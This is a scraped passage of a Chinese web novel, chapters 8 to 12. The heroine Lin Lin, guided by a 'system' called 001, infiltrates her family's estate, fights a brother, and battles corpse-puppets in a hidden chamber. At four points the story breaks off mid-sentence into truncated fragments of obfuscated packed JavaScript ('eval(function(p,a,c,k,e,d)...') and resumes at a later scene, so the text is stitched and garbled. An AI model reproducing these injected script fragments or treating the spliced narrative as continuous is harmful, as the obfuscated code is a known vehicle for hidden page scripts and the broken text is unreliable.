“和您绑定真是我三生荣幸，”001赞叹道：“很简单，我希望宿主您别死，按理来说您早就应该在两年前死去，但我救下了您，所以若您决定好暴露身份了，请活下来。然后在能控制自己的情况下，最好把您的仇人，嗯......圈养起来。” 林霖简直被圈养这个词惊呆了，“我连我自己都不一定养得活，我还要去养他们？” “您是主角，他们死了故事就结束了，您也得死，剧情是这样的设定。” “那我如果不暴露身份呢？”林霖刚说完就意识到了什么，痛骂了自己一句。 “宿主，你是主角才有机会牵制你的那些仇人，你不暴露身份，你确信自己能够干得过这一家子人吗？”001的语气带了些怜悯，“他们动动手指头就可以把现在的你碾死，别忘了，您的仇人还有世子府的宋元舒。” 8. 密谋 想到自己那一大串的仇人，林霖只感觉自己头疼的厉害，照这样下去，自己若是不依靠剧情限制来复仇，不知道得等到猴年马月。毕竟林家那群人可都不是傻子，宋元舒背后的世子府也不是省油的灯。 这么说来，暴露身份也得找个好时机，至少不能选个把自己控住的时候。 “对了宿主，只要你积极完成任务，剧情对你的控制会缓缓减弱的，”001认真道：“所以宿主一定要认真完成任务啊。” “我知道了。” 待001完全不出声后，林霖站起身望着这间曾经属于自己的院落。 刚进来的时候，她就发现一件事，现在的屋子比起曾经来说宽敞明亮许多，虽然还是杂草丛生，但曾经她在这里留下的血迹早已被清理的一干二净，从灰尘的留痕程度看来，这间院落前不久应该有人来过。 是谁会有兴趣来这里收拾残局呢？ “你来这里干什么？”一道不满的声线从门口传来，一个扎着高马尾的少年气冲冲的来到了林霖面前，眼里满是不耐烦，“这个院落最外面有侍卫把守，你来这里是想对林家干什么，等等，你......” 少年瞪大了双眼，脸上既有惶恐又有害怕，“你，你是林霖？你不是坠崖死了吗，你又回来了？不对，不对。” 他围着林霖看了几圈，脸上的神色越来越凝重，“你虽然和林霖的神情很相似，但面容和身形完全不相似，”他面对着林霖仔细打量了一会，最后坚决的摇了摇头，“气质也不像，你应该是赏花宴的客人，你是怎么混进来的。” 听到这句话，林霖总算松了一口气，背后紧握着的拳也缓缓松开，这时的她才惊觉自己竟出了一身冷汗。 “宿主身份暴露程度增加至百分之三十。” 想起刚才001说的这句话，林霖就对眼前人恨得牙痒痒，其他人都看不出来，凭什么你可以看出来？ 她冷眼瞧着自己以前的三弟林言，冷声问道：“这就是林家的待客之道？对待来林家的客人就是这种态度？” 林言轻嗤了一声，“我们待的是客，可不是乱闯别人家的小贼。” “很好，靖城钟家钟霖记住了。”林霖微微颔首，心中对钟不为道了声歉，没想到这么快就遇上了需要披着钟家的皮狐假虎威的时刻。 只不过林言的表情很出乎她的意料，原本还嚣张跋扈的人瞬间被浇灭了士气，焦急的看了她两眼，最终从嘴里挤出来一句，“抱歉，不知您是钟家的客人，只不过此处是林府要地，还请贵客前往其他地方，作为赔礼，我代表林家会赠送贵客一份礼物。” 林霖有些惊奇，林言这两年间已经成长到能代表林家的地步了吗？不过一想到001曾经对她说过的那些事情，林霖也就不太惊奇了。 “既然如此，那就麻烦林公子将我带出去了，我对这里并不是很熟悉。” 林言松了一口气，看对方的语气应该是不会计较他出言不逊的事情了。只不过，眼前的人真不是林霖吗，每次他出现在她面前，她就会用这种想要吃人的神情看着他，如果不是林霖一直被关起来没什么反抗力气，恐怕自己真得被对方给生撕了。 一想到这种可能性，林言就打了个哆嗦，心中的一切杂念瞬间被清空，一心一意的给身后的客人带路。 林霖跟着林言绕了几个大圈，最终来到了大门前，果然如林言所说，最外面的这快地方，到处都是穿着林家服饰的侍卫。 她不自觉的拧了拧眉，林家这些年到底发生了什么，为什么会警惕成这样。 林言站在门口，拱手对林霖道了声歉，“钟姑娘，家父不允许我离开这里，剩下的路我会指派一名侍卫陪同，姑娘想去哪里告知他就可以。明尧。” 名叫明尧的侍卫从巡逻队伍里走了出来，按照林言的指示跟到了林霖身边。 “我准备好赔礼会交给明尧，林言之前出言不逊还请姑娘原谅。” 看来这是要监视她了，林霖不动声色的观察了一下身边跟着的那个侍卫，虽然不如她二师父，但是看身形和动作也像个练家子。这下可不好离开了啊...... 林霖点了点头，跟着明尧离开了这里。随口跟他说了去兰香居后，林霖就开始思索起今天在林家发生的全部的事情。 这场赏花宴举办的原因有很大一部分是因为林舒然，按照宋元舒的性子，他一定会大张旗鼓的来为她捧场，即使不来也会派下人来送礼替他。但今天转了这么久，却没有看到世子府的任何一个人，也没有听到关于世子府的任何一句讨论，这件事本身就不正常。 若以剧情推动来说，按照001所说，之前在她身上发生的那一切虽然不正常，但大多还是出自于他们自己的内心。相比起林家人都不记得那段时间的事情这个推断，林霖更愿意相信是因为自己出现在他们眼前这件事的层级要比他们现状要干的事情的层级要高，那种莫名其妙的控制会让他们先去执行层级最高的那个事情。 再者，林言明显记得以前发生的事情，虽然敌意没有以前的强，但对“林霖”这个身份的情绪还是存在的，如果001所说的完全正确，如果林言真的认出来了她，那么要促进她继续成为主角的其他人也全部会重新围在她身边，迫使她继续按照这场戏该走的方向去走。至于林书，他到底有没有发现她的身份...... 摸不清的事情不如不去思考，林霖很快思考起了另一件事。假设钟不为说的一切都是真的，他来这里是为了他被害的世伯，林将军也是因为这件事情答应了林家的邀请，并且他们都怀疑这件事里有林家的手笔。那钟不为手里的赏花宴的信函就有两种源头，一种是因为林将军，他收到了函请，另一种就是因为他要查的事情，钟家人手里可能握着林家的什么东西，以至于林言知道她是钟家人后居然如此紧张。 如果真是为了林舒然，林砚在边关驻守近十年之久也未曾回来过，这次回来的原因很大几率不是因为思念家人。林家人若是主动叫林砚回来，那他愿意回来的原因是为了什么，从表面上来看，林砚和林舒然的关系并不是十分热络。林母，林舒然，林书三个人都在外面招待客人，却放林言守着秘密。难道是因为林家没人可用了？所以他们才把林砚也叫了回来？ 想了半晌，没一点是能够想通的，反而是疑问越来越多了。林霖只感觉自己的头不由自主的疼了起来，自己复仇的事情没丝毫进度，反而是搅进靖城与林家的浑水中了。若这么来看，不论是什么原因，她就只能站在钟不为这一边。罢了，不如反过来想，自己找了个可以与林家抗衡的盟友，只期望这盟友惹出来的事情不要太大，把林家人除了就好。 “钟姑娘，兰香居到了。” “知道了。” 林霖重新走进兰香居。明尧果然没离开，而是不远不近的跟着她。 想到背后有一双眼睛盯着自己，林霖只感觉自己全身都不自在，扫视了一圈后，见到了自己的半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“先不说这个，现在最重要的是，如果我和你家人打起来，你能不能把我表妹护好。” 听到这句话，林霖感觉自己刚喝进嘴里的茶要喷出来了，这说的是人话吗，人父母兄弟和朋友打起来，你竟然让他在其中二选一？ 更难以理解的是，林砚只思考了几分钟，就答应了钟不为的请求，“可以，不过你得帮我寻找。” “知道知道，你的妹妹，妹妹。我就算死在林家了都不会忘了这件事了。” 林砚的神情更严肃了，“慎言，小心一语成谶。” 看着略有些呆滞的林霖，林砚难为情的笑了笑，“你表兄下手很有分寸，不会闹出人命的，只要不死他们绝对可以活。” 林霖皱了皱眉，她管林家人的死活干什么，“他一个人能打过林家那么多人吗，林家那不是来群殴他？” “安心，他打我的时候都很注意分寸......一般来说可以五五开，况且他手里还有些东西，打不过可以跑。” 钟不为笑着点了点头，“放心，我肯定可以活着回来，只是取个东西而已，要是把林家灭门还有点难度。” 听到这些话，林霖只感觉自己头晕目眩，他们现在是在干什么？听林砚这个林家人和钟不为在林府密谋如何偷东西，而林砚的需求只是让钟不为别把林家人弄死就可以？ “你是不是也想加入进来，可惜，要是你会轻功的话就可以去观摩这场行动了，不过我回来会......” 林霖打断了钟不为的话，她现在已经完全冷静下来了，甚至还有了点隐秘的兴奋，“但是我会逃跑，很会，加我一个。” 9. 暴露 林砚皱了皱眉刚想劝阻，就听见钟不为爽快应允了这件事，甚至还将今晚的行动图交给了她。 他一向理解不了自己这位好友，再者是对方的家事，他也不好劝阻。思索了半晌，还是没有开口。 “今晚要潜入的地方就是下午去的那个地方，只不过路我记得不是非常清晰，麻烦表妹了。” 林霖点了点头，看着手里的图，心里不由得赞叹，如果这人真是第一次来到这里，一个下午的时间就将林府环境摸了个大致，真是不得了。 “行，交给我，你到时候打算怎么做。” 钟不为笑得狡黠，他一手撑着头，一手指了指明尧的背影，“第一个想法，把小尾巴解决掉，突袭进去。另一个，成为小尾巴，混进去。林砚负责吹哨，一旦有什么情况，他负责搅混局面。至于表妹你想在其中充当什么角色，全看你怎么选择。” 林霖叹了口气，看似给了她两个选择，实际上只有一个。 “我只要把他弄晕就好了吧。” “弄死也行。” 真是语不惊人死不休，林霖瞥了他一眼，也不知道这一眼是触及到此人的什么笑点，让他笑得前仰后合，引起周围好一些人的注视。 “他没惹我，我对杀了他没兴趣，装得像点，如果露馅了。” “大难临头各自飞的道理我是懂的，放心，不会牵连到你们两个。” 林砚有些不赞同，“你这是什么话，我们现在在同一条船上，不帮你我们也自身难保。” “你想要去那里，是因为那里有什么吗？”林霖将各个标点顺了一遍后，将图纸递给了钟不为。 “当个螳螂，引黄雀出来，”钟不为将图纸收好，“除了个别人，其余人来这赏花宴心思可不单纯啊，你应该没去玉亭吧。” “没有。”林霖有些疑惑，这和玉亭又有什么关系。 “不知林舒然用了什么手段，被领到玉亭的人基本上都没有再出来过，应该是被监禁了。”林砚简单解释了一下。 林家有这么大能力？能把这么多世家子弟监禁？ “这是最好的猜想，”钟不为喝了一口茶水，轻声道:“如果玉亭里的人和林家是一丘之貉，那今晚能不能活下来都是难事。” “即使是一丘之貉，但这件事你也非做不可，不然大可以换个时间，”林霖看着钟不为，“如果真是你说的这种情况，那我很有理由怀疑林家办赏花宴的目的是为了造反。” 林砚感觉自己的头皮快要炸开了，“你认真的吗？” 听着他颤抖的声线，林霖叹了口气，“有什么不可能的，短短十几年的时间换了三任皇帝，要是林家有这个野心，造反是迟早的事情，只是今天我们碰上了。” “那其他人不可能跟着他们……” 钟不为接话道:“怎么不可能，当今圣上能稳稳坐在上面，是因为林将军还活着，并且林将军对当皇帝没什么兴趣。但如果圣上对将军起了疑心，一旦他开始联络其他世家对将军下手，他还有几年可活。” 林砚想要说些什么，但怎么也想不出反驳的话来，如若这样，他被林家叫回来这件事也在谋划当中，他不应该回来的…… “如果真是这样，那百姓怎么办，”林砚满脸皆是痛苦与纠结，“我国才将将三四年没有打仗，一切都未休养好，百废待兴，我前不久走访过边关周围的村落，他们的庄稼才刚刚长出苗来，熬过了大大小小的旱灾与洪水……” 这种事情没有人能回答，他们也只是个人，今晚连自己可能都护不住，又谈何护住更多人呢？ “我现在觉得你是真的不该回来了，”林霖说道:“你守着边关，有能力的人反而更容易处理内患。” “别这么泄气，也不一定会是你想的那样。不要做涨他人志气，灭自己威风的事情。”虽然钟不为手里握着的些许证据确实和林霖的猜想重合，但今晚见到了关键证据才可以下定论。 “那就来谈谈怎么把明尧给弄晕吧，”林霖正色道:“我先为我刚才灭士气的行为道个歉，接下来的行动还要仰仗表兄和林大哥了。” “咳，”林砚脸色微微泛红，“那其实我也……算了，我有个想法，钟姑娘说这个侍卫是属于落花苑的巡逻守卫，那么身上肯定有联系林家其他人的东西，我决定先去探索一下他们的联系方式，到时间了钟兄带着钟姑娘过去就好，发信联系。” “可以，只不过一旦发现矛头不对，直接出府去找将军。” 林砚点了点头，出了兰香居。 林霖看着林砚的背影，心中隐隐约约有些担忧。 “饿吗？” 她转过头来看着钟不为，犹豫片刻后问道:“我可以说饿吗？” 钟不为哑然失笑，半晌后道:“当然可以，我们并不一定要吃林家的东西，客栈里的东西我打包了一些，先吃点，晚上还要靠你和林府那里的守卫多周旋。” “对了，不必担心林砚，他踩房顶的技术很好，他只是关心则乱而已，作为主将，他有一定的能力，一般人没办法制衡住他。” 林霖接过钟不为手中的烧饼，轻轻咬了一口，虽然凉了，但饼皮依旧酥脆，整个饼鲜香四溢，好评！ 钟不为就这么看着林霖将一个饼全吃了进去，心情莫名变得愉悦，“还吃吗，我这里还有。” “不了，吃的太饱不容易思考。若是今日行动顺利，这些吃的就当庆功宴。” “到那时，我请你喝东辰楼的桂花酿带你看看歌舞。” 林霖弯了弯眼，“好说。” 夜晚慢慢到来，兰香居的人也越来越少，不知道他们是出府了，还是被林家监禁了，又或者为同流合污准备去了。 林霖与钟不为交换了个眼神后，起身向外走去。明尧十分尽职尽责的跟了上来，就像幽灵一样，不影响她的前进方向，也不会让她离开自己的视线。 林霖努力平稳着呼吸，向着她以前居住的院落落花苑走去。 在勉强能看到巡逻侍卫的火光的时候，明尧上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林书慢慢走到了林霖面前，居高临下的望着她，“你背叛了我，你是我捡回来的，你怎么能背叛我。” 林霖完全不知道眼前人发着什么疯，“你弱智吧，我是我自己，你居然想拿着救命之恩让我给你当狗？我为你做得事情还不够多吗？” “那得问你自己，”林书笑了，完全没有预兆的向着林霖出手，“你身上到底有什么妖怪存在，居然能让我给林舒然办事，以至于五六年的时间里，我居然都没能把林舒然这个外家子除掉。” 林霖有些狼狈的躲过这一击。 林书见自己没有伤到林霖也不着急，他幽幽叹了口气，整个人楚楚可怜的看着林霖，“你还认我做兄长吗？” “……你别发疯。” 林书悚然一笑，眼里流露出狂热，“阿妹知道梁宣帝吗。昔日宣帝为了掌控诸侯世家，向国师许丛洲求了一本名为《万蛊》的书，可以将人变成蛊兵，供控使者操控。只可惜宣帝还没实现他的壮志伟业，就被林述给除掉了。” 说到这里，林书低低笑了一声，朝着林霖凑了过来，“阿兄知道阿霖疼阿兄，为了阿兄，成为阿兄的蛊兵可好？这样阿霖也永远不会饿了，阿兄也可以永远疼惜阿霖了。” 林霖怔怔的看着这个曾经的恩人，眼中只有他不断放大的狰狞的影子。权利，权利究竟将一个人变成什么样子啊！ 现在的林书还算得上是一个人吗？ 10. 密室 天马上黑了下来，或许不是夕阳落得快，而是不远处黑压压的几蓬乌云笼罩住了光。 林霖看着那双被欲望充斥的双眼，神色平静下来，眼神中还带了些怜悯。 林书看着那抹怜悯，想要掐住林霖脖子的手顿住了，他面上多了些怨怼与不满，一字一句的问道：“你凭什么怜悯我？” “你一直想逃离林舒然的影响，却一直被迫为她做事，即使我不在，你好像也活得不怎么样，”林霖轻声笑了笑，“何必把你一切的不顺心归咎到我身上。你和林舒然有着同样的目的，但却不满于屈居于她之下。” 看着林书越发阴沉的脸，她继续说道：“爹娘在意的是她，三弟信任的是她，就连好不容易带回来的人，也因为莫名其妙的原因与你越来越疏远。” 说到这里，林霖懒洋洋的笑了，“你是不是太可怜了点啊。” “......死到临头了还能笑得出来。” “死到临头的应该是你，”林书的手刚掐在林霖的脖子上，林霖就一脚踹到了他的肚子上，林书就这么毫无防备的被踹到在地，“你实在是看的起自己太多。怎么，你以为我这两年是去悬崖底下度假去了？” 一只手将准备爬起来的林书狠狠摁在地上，低沉的声音在林书耳边响起，“二弟，看来是我许久未归家，爹娘又不管事，让你竟养成了残害家人的性子。” 感受到身上无法抵抗的力道，林书也放弃了挣扎的欲望，笑道：“怎么，兄长今日是要清理门户吗？” 林砚没有说话，拿着绳子将林书绑了起来，扔到了一边。做完这一切后，他复杂的看着林霖。与胞妹相见这一场面，他早已在脑中排练许久，没想到真到了这一天，自己居然还是会无言。 任他如何想，也不会想到自己好友的表妹居然是自己的亲妹妹。 “你这些年......” “兄长稍后在叙旧。”林霖心情不爽的看着被绑着还笑得一脸癫狂的林书，剧情的限制已经被解开，接下来发生什么都不会在她预料范围中了。 这么想着，她走到林书面前蹲下，低声道：“你知道你和林舒然差在哪了吗？” 林书有些迷茫的看着面前表情阴森的人。 “她比你强在能够操控人心，这样的人你居然还敢和她几乎在明面上做对，你是蠢货吗？” 还不等林书说出什么来，林霖直接一拳砸到他脑袋上，将林书直接砸晕了过去。因为力道太大，手腕上的镯子直接给林书的脑门开了道口子。 林砚看着自己二弟头上缓缓流下的血迹，不自主的向后退了一步。 出过气之后果然心情好了很多，为了防止林书中途再醒过来，林霖摸出一个瓶子在他鼻前晃了晃。果然，刚才还一脸痛苦的林书现在已经完全平静了下来，就连呼吸都平稳了许多。 “我忍你已经很久了，四年前就一直想打你了。”林霖站起身，漠然的看着地上的一团。这人到今天才被她打昏而不是打死，靠得完全是当年的救命之恩。 林霖转头看向浑身僵硬的林砚，有些疑惑，“兄长躲那么远做什么，钟不为现在到哪了？” 这是已经被拆穿了，所以现在完全不掩饰了吗。 林砚轻咳一声，说道：“钟兄已经打晕明尧进落花苑了，我们现在要跟他一起进去吗？” 听到这句话林霖眼前一亮，“你已经摸清他们巡逻的规律了？” “是。” “既然这样，兄长，你的兵器也被人收走了吗？” 林砚明白了她的意思，“这个东西我知道在那里。” “这你也知道？” 望着林霖有些惊诧的神情，林砚解释道：“你懂得，这些东西是老三放的。” 林霖会意的点了点头，林言每次藏东西的地方就那么一两个，藏匿地点每次都离得很近。任何事情一旦涉及到他，都很变得简单。 “那我们就先取些东西再回来，”林霖拍了拍的衣裙上的尘土，“刚好我换身轻便的衣服，方便行动。” 要是拿这件衣服去打架，她可舍不得。 事情一旦有了计划，行动起来也就有了方向。 有了林砚这个将军，这趟路变得格外安全。虽然这个地方没给她留下什么美好回忆，但那些不好的东西却让她在躲避侍卫时变得如鱼得水。 终于，两人在摸黑中看到了微微泛着光的屋顶，还有门口侍卫的手中的火光。 这里的看守不是很严，两人几乎只走了两个屋顶就来到了存放东西的屋子。 林霖在林砚的帮助下倒吊在了窗户旁，出人意料，里面似乎一个人都没有。她屏气凝神的搜寻了一圈，只看到了自己的包袱，而钟不为的剑不论她如何寻找都看不到踪影。 随着时间的流逝，林霖的脑袋越来越疼，她连忙正了回来。面对林砚关切的神情，她摇了摇头，缓了会后，低声说道：“我看到了我的东西，但没看到钟不为的剑。不，不仅仅是钟不为的，任何兵器都没看见。” “可能是被林言放到地下了，里面有人吗？” “在我的视线范围内我并没有看见，”林霖心里升腾起一股担忧，“会不会是有人在里面埋伏？” 林砚点了点头，“有这个可能，不过我们不能再等了。你是在外面等我，还是......” “一起进去。”林霖利落的翻下了屋顶，以林砚的性格，他绝对会将危险置于他身边，和他一起，起码有个照应。 果然，林砚翻下来的时候，脸上不赞同的神色还未完全散去，不过他没有多说什么，默默地跟在了林霖身后。 林府的窗户可以在外面打开，所以林霖从窗户翻了进去。 屋里点着几只蜡烛，泛着暖融融的光，微微照亮了整间屋子，屋子里确实一个人都没有。 心中的疑惑更加深重，她拿着路上捡来的石子扫视了几下周边。几道“骨碌碌”的声音响起，什么机关都没有触发，和当年一模一样。 林砚站在外面，将窗户微微合上，轻声道：“你先换衣服，我盯着外面，好了敲四下窗户。” 林霖将包袱拿了出来，将纱质外披脱下，利落换上包袱里便于行动的衣服，犹豫片刻后，多取了两瓶药放到怀里。 “咚咚咚咚。” 四声轻轻的响声惊醒了疲累的林砚，他睁开双眼，从窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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似乎是有段时间未曾来过人，周围的灰尘随着两人的动作纷纷扬扬的飞舞，散发着潮湿的，土石独有的气息。 林霖拧着眉，捂紧了口鼻跟着林砚四处乱转，拐弯。 其实她现在有些后悔，在她心里，钟不为的可信程度要比林砚要高，毕竟林砚可是林家人，即使他现在表现的如此纯良。 但如果这人真的要害她，她也没什么办法抵抗，以他的武力值，只不过是死的慢一点和快一点的区别而已。 索性这地方当真有个头，林霖看着前方传来的烛光，眼前一亮，终于到出口了！ 林砚小心的看了看前方的路，并没有发现什么，小心翼翼地弯着腰出了那个口，踩到了密室的地上。 赏花宴里所有人的武器应该都放在那里，林砚将火折子递给了身后的林霖，转身轻手轻脚的走到了桌子旁，尽量小声的将自己的佩刀抽了出来，又在林霖的小声指引下，将钟不为的剑也拿到了手里。 这一趟实在是顺利的过分，不过好在东西都取到了。 林霖松了口气，将钟不为的剑背到了自己的背上。刚准备踏进土洞里，衣角就被林砚拉住了。 “你听到了吗？” “什么？” “歌谣声，好像与我们隔了一堵墙，”林砚断断续续的哼了一段调子，“你自己来听。” 调子声消失后，周围一片安静。 墙的对面似乎真的传来了歌谣声。 “小儿郎，握镰刀，割麦芒。儿娘站在旁，拾穗进竹筐......” 11. 活着 “地枯黄，儿郎躺。阿娘陪，莫要走的太匆忙。人来到，有良药，药到病除魂儿归壳。” 那声音突然变得尖锐而嘶哑，像风箱里挤出来的一样，“我的阿郎啊，你什么时候才能醒啊。你醒了，阿娘才能给你喂药欸。” 低声的呜咽声隔着一堵墙传到林霖耳朵里，激得她后背一凉。闻着空气中潮湿的泥土腥味，她沉默片刻后还是开口了，“你要先去帮钟不为吗，我想留下来看看对面到底是什么。” “如果那边真的是人，总归逃不过两种结局，她杀了你，或者你杀了她，”林砚认真的看着林霖，“你确定要过去吗？” 林霖也抬起头望着林砚，“嗯，在林府手底下苟延残喘的活着，还不如直接死了。”尤其是这种在饥荒与旱灾里失去了灵魂的人，死了才是最好的解脱。 林砚不太理解眼前人对这件事的坚持，但他觉得比起去找钟不为，他更愿意帮助林霖去探寻墙后的真相。所以没有犹豫太久，他就走到了离声音最近的那堵墙前，寻找过去的机关。 “001，剧情控制到底是怎么回事，为什么林砚没受影响？”林霖背对着林砚，随意拨弄着地上的土石。如果不把这个事情完全弄清，她接下来的行动说不定还要防止林砚突然发疯。 她不想带个定时炸弹跟在身边，尽管这炸弹暂时还没有爆雷。 “宿主，林砚是不参加剧情控制的，他的人设不适合参与进来。” “人设是什么？” 001有些语塞，声音也变得一卡一卡，良久后才恢复正常，“宿主可以理解为一个人最突出的性格表象。” 林霖对这个解释有点感兴趣，“这么说来每个人都有自己的性格表象，那你能看出来我的性格表象是什么吗，为什么会被选择当这场戏的主角？” “额......宿主你真想听？” “听，我做好了心理准备，”林霖捡起了一个土块，“左右无非逃不过话本子里那些东西。” “好吧，是因为宿主你足够可怜，并且毫无背景。” 土块在手里完全被捏碎了，林霖垂下眼看着手心里不断向下流逝的沙土，感觉这个世界真是荒诞，可怜没背景难道是什么常见的搭配吗，为什么非得是她？ “其实还有一个，宿主你太想死又太想活，这样的人设够狗血够火。” “你难道觉得这正常吗，谁会乐意看这种故事，”林霖不爽的站起身，烦躁的扒拉墙上的枯草，“所以你的消减影响就是帮我从这场戏里脱离出来对吧。” “是的，其实宿主如果躲着林家人和宋元舒十几二十年，也能够脱离控制但我能更快解决。”001劝慰道。 “几年？” “五年就够了，而且这种影响不会因为你见到了林家人而反弹。” 一只手阻止了林霖撕扯杂草的动作，“不用再找了，你已经翻出来了。” 林霖看着地上被她用扇子刨出来的土坑，又看了看被翻扯的七零八落的杂草，“你指的是哪个？” “墙上这个，这个砖块最特殊，”林砚站在林霖身边，拨弄着那块砖的四个角，“幸好我记忆力不错。” “林言这个密室到底是怎么建造出来的？” “其实并不属于他，只是因为当时爹娘有更好用的，这个就归林言用了。”林砚看着缓缓移动的墙体，神色有些黯淡。 这么想来林家人对林言的态度确实不一样，林言的心眼和林家人简直用的不是一个系统，莫非这群人心机耍多了，时间长了反而喜欢家中单纯的那个？ 这建造密室的工匠不知道为什么这么喜欢土洞，林霖看着墙后面出现的仅供人弯腰过去的洞连话都不想说，把火折子递给林砚，她继续跟在他身后左右乱拐。 不知拐了多久，突然土石飞扬了起来，火折子的光芒也消失在林霖眼前，她连忙护住了自己的头，待声响消失后才睁开眼，前面一片漆黑，不知为什么，她感觉不到身前有林砚的踪迹了。 “别往前，前面是一个洞，”林砚的声音在土洞里扩散开来，“我现在应该是挂在了梯子上，看起来下面不太深，你是要跟着我一起下来，还是我先去探路。” 林霖顺着声音，摸到了身前向下陷落的土，“劳烦兄长前去探路。” “好。” 林霖眯着眼，看着黑漆漆的洞下微弱的火光随着林砚的动作逐渐消失，仅仅凭着声音她勉强能分辨出林砚似乎是拔了刀。 不知道过了多长时间，林砚的声音重新响起，“可以下来了，你看看这些是什么东西。” 闻言，林霖扶着土石踏上了梯子。这个地方确实不高，她看着下面飘着的火光，一步一步走了下来。 刚落地，就被一个又软又坚硬的东西绊了脚。 “这什么东西？”林霖稳了稳身形。 “不知道，我一下来他们就怪叫，好像没有神志，砍了头就会死，”林砚走到林霖身边将火折子递给了她，“你先拿着，我的刀上全是血。” 看着那柄刀上暗红的颜色，林霖做了做准备，蹲下身观察起那个应该可以被称为尸体的东西，面色苍白，皮肤裸露的地方露出了大大小小的斑块状的暗色，最主要的是...... 林霖看着自己指尖在不经意间勾下来的皮肤碎片，拧了拧眉，将包袱里的水壶拿了出来，冲洗了下去。 这人早就死了吧，那为什么还能动？ 林霖想到不久之前林书说的话，心中有了些猜测。那人原来就想把他变成这种东西？但这里看样子没什么活人，会有谁去控制这些东西呢？ “往前走，我本以为那个人是在前面，没想到应该在地下，那么说声音应该是从地面和墙的缝隙里传来的。” 林砚将擦干净的刀收回了鞘，蹲下身将布盖在了死尸的脸上，肃穆的为他祷告，“走好。” 林霖站在一旁等这一切结束后才问：“你在边关的时候也会这样吗？” “会，能带回来的就去为他们祷告，带不回来的就对他们物件祷告，”林砚用刀鞘触碰墙壁试探着机关，“死的人太多，也成为了一种本能。只要是梁国的百姓，就算是我杀了他们，我也会这么做。” “这是我的罪业，也是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林砚的动作故意放得很沉重，但被锁链锁在中间的“人”仍旧没有抬起头。 在林砚的示意下，林霖也跳了下来，不知这个地方是用什么方法聚了光，让踏进这个石室的人不用光也能打量的清周围的环境。 站在台阶上，林霖才发现，当时看到的水波下面的路不是由石头铺就，而是一个个石洞口那样的尸体铺就而成。林府到底是杀了多少人？或者是偷盗了多少尸体？ “那些是水蛊尸，现在还不到他们醒来的时间，”沙哑的声音在石室里响起，一阵锁链声晃动，被长发遮挡着的人露出了自己脸。 生活在水周围，那人的脸居然还是枯萎的干涸的，就像她曾经的母亲一样。她的怀里还抱着一个肿胀的看不清来源的东西，眼底满是平静。 “你们是林小姐，带过来的药吗？林小姐决定救阿郎了？” 凭借着这句话，林霖可以确定了，眼前这人就是那个唱着奇怪歌谣的女人。 “我们只是偶然进来的路人，你说的林小姐是？” 女人没有理睬他们，只是自顾自的说着，“林小姐说过，有她在，我的阿郎就能活过来，不用钱就能买到药。只是这药得需要活人的血，热的。” “只有这样，我的阿郎活过来的时候才能和我一样。等着，”她温柔的将怀里的肿胀物放到石头的一旁，“阿娘去给你找药去吃，吃了就再也不会挨饿了，也不会生病了。” 这下两人都看明白了，那肿胀物就是她的儿子，只是怎么看都死去多时了。 12. 活下去 “死了的人可以重新活过来吗？”林霖小声向林砚询问。 林砚看着水里的层层叠叠人和不成人形的块状物，沉默几秒后叹息道：“死人活不了，就算真能动，也顶多作为被人控制的工具。” 就像被锁在中间的人一样，为了一个根本不可能结果而去当帮凶，自愿成为一个不人不鬼的东西。 林霖抽出剑上前一步抵挡住那女人伸来的爪子，看着上面密集的鳞片，问道：“至于吗？” 那女人抬起头，猩红的双眼投射出仇恨的目光，“怎么不至于！我只有阿郎一个亲人了，不管做什么，只要能让我的孩子活过来，我什么都会干！” 黑色的指甲与剑刃相撞，发出刺耳的声响。水底的东西一个一个站起，将林砚牢牢围在中间，群起而上。 “你既然从饥荒中生存下来，”林霖当胸一脚，狠狠的将女人踢得倒飞出去，“就该明白，这世道不是人能待的，与其让他重新活过来，你还不如让他安息下葬。” 女人将林霖劈过来剑刃紧紧握在手心，撕心裂肺的大叫，“你懂什么！你什么都不懂，等他回来，我们就能过上吃饱穿暖的日子了，就可以不用为挨饿发愁了。林小姐救活过的，我看见过的！” “就算救活过来又怎么样！”林霖低吼出生，拉住锁链趁女人站不稳的间隙用剑刃将她狠狠压到地上，“你还不明白吗？就算你的阿郎活过来了，就算你们不用再挨饿了，那时候的你们也不是人了！你们又怎么在世界上活下去啊，这个地方，这个十几年换过三个皇帝的地方，就真的让你们这么留恋吗！” “你要真的爱他，就该让他真的死去，死的安详，而不是不人不鬼，把命都交到别人手里。” 女人呆呆的看着她，“你懂什么，你又没因为饥荒......” “我怎么不懂，”林霖双目通红，死死咬着牙，“全村的人，因为干旱与饥荒几乎死了个七七八八，出走的那些人至今都没见过影子。那些枯槁的尸体，那些只剩下皮包骨头的尸体，是我一个人一个一个埋进去的，丰年村里全是土包，我甚至连一片带汁液的草都找不到。死了难道不是什么好事吗？” 女人长满鳞片的脸皮随着她的面部肌肉而微微颤动，她似哭非哭似笑非笑的颤着手，“就算这样，我也想活下来啊，我也想让我的孩而活下来啊，就算再自私，再伤天害理，就是想活下来啊！为什么非要阻止我，我就算骗了我自己又怎么样！” “就算我知道他们只是需要我的肉去饲养这些不人不鬼的东西又怎么样！” “为什么非要告诉我！” 林霖的表情缓缓变得沉静，她从高处向下望着那张脸，“我也想活下去，我不想变成你孩子的药。” 感受着握着剑的手越来越吃力，林霖将身体压了上去，“我更不想我什么仇都没报，就这么不明不白的成为养料。” “所以，我接下来会杀死你，但我会给你和你的孩子找一块地埋在一起。” “死也不分离。” 锋利的剑刃将林霖的手心划破，在上面留下深刻的痕迹，那双充满仇恨、茫然亦或是乞求的双眼在此刻终于闭上，身体和意识和她的孩子归于一处。 林霖擦了擦脸上的鲜血，撕了一条衣服，将手掌包裹起来。或许是喂养这些怪物喂养的太久了，这个本该强大的人临死时都没什么力气。 时间不等人，看着被围住的林砚，林霖来不及休息，冲着密密麻麻的蛊尸奔袭而去。 直至剑刃红的留不住血迹，身旁的一切才终于安静。 